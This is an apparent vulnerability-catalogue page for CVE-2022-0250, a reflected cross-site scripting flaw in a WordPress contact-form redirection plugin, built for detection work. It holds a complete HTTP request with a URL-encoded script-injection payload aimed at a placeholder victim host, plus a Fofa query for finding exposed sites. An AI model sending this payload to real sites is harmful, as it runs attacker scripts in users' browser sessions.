🔙 목록으로 돌아가기

CVE-2022-0250: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting

TitleRedirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAllows attackers to execute malicious scripts in the context of a user's browser session
RemediationUpdate Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
CVSS Score6.1
EPSS Score0.0312
CVE IDCVE-2022-0250
CWE IDCWE-79
Fofa Querybody="/wp-content/plugins/wpcf7-redirect"
Tags cve cve2022 wordpress wp wp-plugin wpcf7 contact-form7 xss vuln

🔍 Vulnerability Description

The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.

🌐 HTTP Request

GET /wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0250.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0250.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A